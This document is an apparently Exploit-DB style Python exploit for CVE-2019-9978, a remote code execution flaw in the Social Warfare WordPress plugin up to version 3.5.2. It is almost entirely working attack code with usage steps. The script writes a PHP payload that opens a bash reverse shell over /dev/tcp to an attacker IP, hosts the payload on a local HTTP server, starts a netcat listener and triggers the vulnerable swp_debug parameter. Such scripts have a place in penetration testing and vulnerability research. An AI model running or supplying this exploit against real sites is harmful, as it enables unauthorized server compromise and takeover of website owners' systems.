Social Warfare WordPress Plugin 3.5.2 Remote Code Execution (RCE)

#!/usr/bin/env python3 # Exploit Title: Social Warfare WordPress Plugin 3.5.2 - Remote Code Execution (RCE) # Date: 25-06-2025 # Exploit Author: Huseyin Mardini (@housma) # Original Researcher: Luka Sikic # Original Exploit Author: hash3liZer # Vendor Homepage: https://wordpress.org/plugins/social-warfare/ # Software Link: https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip # Version: <= 3.5.2 # CVE: CVE-2019-9978 # Tested On: WordPress 5.1.1 with Social Warfare 3.5.2 (on Ubuntu 20.04) # Python Version: Python 3.x # Reference: https://www.exploit-db.com/exploits/46794 # Github (original PoC): https://github.com/hash3liZer/CVE-2019-9978 # The currently listed exploit for *CVE-2019-9978* (Exploit ID 46794<https://www.exploit-db.com/exploits/46794>) appears to no longer work as intended in many modern environments # Usage: # 1. Edit the config section below and replace `ATTACKER_IP` with your machine's IP. # 2. Run the script: `python3 exploit.py` # 3. It will: # - Create a PHP payload and save it as `payload.txt` (or any filename you set in PAYLOAD_FILE) # - Start an HTTP server on `HTTP_PORT` to host the payload # - Start a Netcat listener on `LISTEN_PORT` # - Trigger the vulnerability via the vulnerable `swp_debug` parameter # 4. On success, you get a reverse shell as `www-data`. # # Note: # - PAYLOAD_FILE defines only the name of the file to be created and served. # - Make sure ports 8001 and 4444 are open and not in use. import requests import threading import http.server import socketserver import os import subprocess import time # --- Config --- TARGET_URL = "http://example.com" ATTACKER_IP = "xxx.xxx.xx.xx" # Change to your attack box IP HTTP_PORT = 8000 LISTEN_PORT = 4444 PAYLOAD_FILE = "payload.txt" def create_payload(): """Write exact reverse shell payload using valid PHP syntax""" payload = f'<pre>system("bash -c \\"bash -i >& /dev/tcp/{ATTACKER_IP}/{LISTEN_PORT} 0>&1\\"")</pre>' with open(PAYLOAD_FILE, "w") as f: f.write(payload) print(f"[+] Payload written to {PAYLOAD_FILE}") def start_http_server(): """Serve payload over HTTP""" handler = http.server.SimpleHTTPRequestHandler with socketserver.TCPServer(("", HTTP_PORT), handler) as httpd: print(f"[+] HTTP server running at port {HTTP_PORT}") httpd.serve_forever() def start_listener(): """Start Netcat listener""" print(f"[+] Listening on port {LISTEN_PORT} for reverse shell...") subprocess.call(["nc", "-lvnp", str(LISTEN_PORT)]) def send_exploit(): """Trigger the exploit with vulnerable parameter""" payload_url = f"http://{ATTACKER_IP}:{HTTP_PORT}/{PAYLOAD_FILE}" exploit = f"{TARGET_URL}/wp-admin/admin-post.php?swp_debug=load_options&swp_url={payload_url}" print(f"[+] Sending exploit: {exploit}") try: requests.get(exploit, timeout=5) except requests.exceptions.RequestException: pass def main(): create_payload() # Start web server in background http_thread = threading.Thread(target=start_http_server, daemon=True) http_thread.start() time.sleep(2) # Give server time to start # Start listener in background listener_thread = threading.Thread(target=start_listener) listener_thread.start() time.sleep(1) # Send the malicious request send_exploit() if __name__ == "__main__": try: main() except KeyboardInterrupt: print("[-] Interrupted by user.")